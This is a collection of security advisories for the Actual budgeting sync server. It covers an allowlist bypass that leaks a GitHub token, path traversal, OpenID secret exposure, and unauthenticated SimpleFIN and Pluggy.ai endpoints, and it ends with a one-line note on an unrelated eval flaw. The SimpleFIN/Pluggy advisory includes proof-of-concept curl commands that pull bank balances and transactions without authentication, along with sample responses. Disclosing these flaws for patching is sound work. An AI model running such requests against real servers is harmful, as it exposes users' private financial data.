Actual is a local-first personal finance tool. Prior to 26.7.0, Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUALGITHUBTOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests. The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs. Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUALGITHUBTOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token. Version 26.7.0 fixes the issue.

Actual is an open-source personal finance application. Prior to version 26.5.0, several endpoints are affected by a path traversal vulnerability. Version 26.5.0 fixes the issue.

Actual is a local-first personal finance tool. The POST /openid/config endpoint in Actual Budget's sync-server versions <= 26.4.0 exposes the full OpenID Connect configuration—including the OAuth2 clientsecret—to any caller who knows the bootstrap password. The endpoint also lacks authentication and rate limiting, making the bootstrap password brute-forceable. Version 26.5.0 fixes the issue.

Description

Actual Sync Server allows authenticated users to upload files through POST /sync/upload-user-file. In versions prior to 26.3.0, improper validation of the user-controlled x-actual-file-id header means that traversal segments (../) can escape the intended directory and write files outside userFiles.

Mitigations The vulnerability can be mitigated in prior versions by running the sync server in a filesystem sandbox.

Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/): /packages/sync-server/src/app-simplefin/app-simplefin.js /packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are: POST /simplefin/status POST /simplefin/accounts POST /simplefin/transactions POST /pluggyai/status POST /pluggyai/accounts POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js): js const app = express(); app.use(requestLoggerMiddleware); ... app.use(express.json()); app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN: bash Check if SimpleFIN is configured curl -X POST "https://<actualbudgethost>/simplefin/status"

List SimpleFIN accounts curl -X POST "https://<actualbudgethost>/simplefin/accounts"

List SimpleFIN transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI: bash Check if PluggyAI is configured curl -X POST "https://<actualbudgethost>/pluggyai/status"

List Pluggy.ai accounts curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

List Pluggy.ai transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts: json { "status": "ok", "data": { "accounts": [ { "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "name": "CHEQUING ACCOUNT", "currency": "CAD", "balance": "1234.56", "available-balance": "0.00", "balance-date": 1771531758, "transactions": [], "holdings": [], "org": { "domain": "www.cibc.com", "name": "CIBC", "sfin-url": "https://beta-bridge.simplefin.org/simplefin", "url": "https://www.cibconline.cibc.com", "id": "www.cibconline.cibc.com" } }, ... ] } }

Example response from POST /simplefin/transactions: json { "status": "ok", "data": { "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": { "balances": [ { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "expected", "referenceDate": "2026-02-19" }, { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "interimAvailable", "referenceDate": "2026-02-19" } ], "startingBalance": 123456, "transactions": { "all": [ { "booked": true, "sortOrder": 1771502400, "date": "2026-02-19", "payeeName": "E-Transfer", "notes": "SEND E-TFR ABC", "transactionAmount": { "amount": "-12.00", "currency": "USD" }, "transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "transactedDate": "2026-02-19", "postedDate": "2026-02-19" }, ... ], "pending": [] } } } }

Actual Analyzer through 2014-08-29 allows code execution via shell metacharacters because untrusted input is used for part of the input data passed to an eval operation.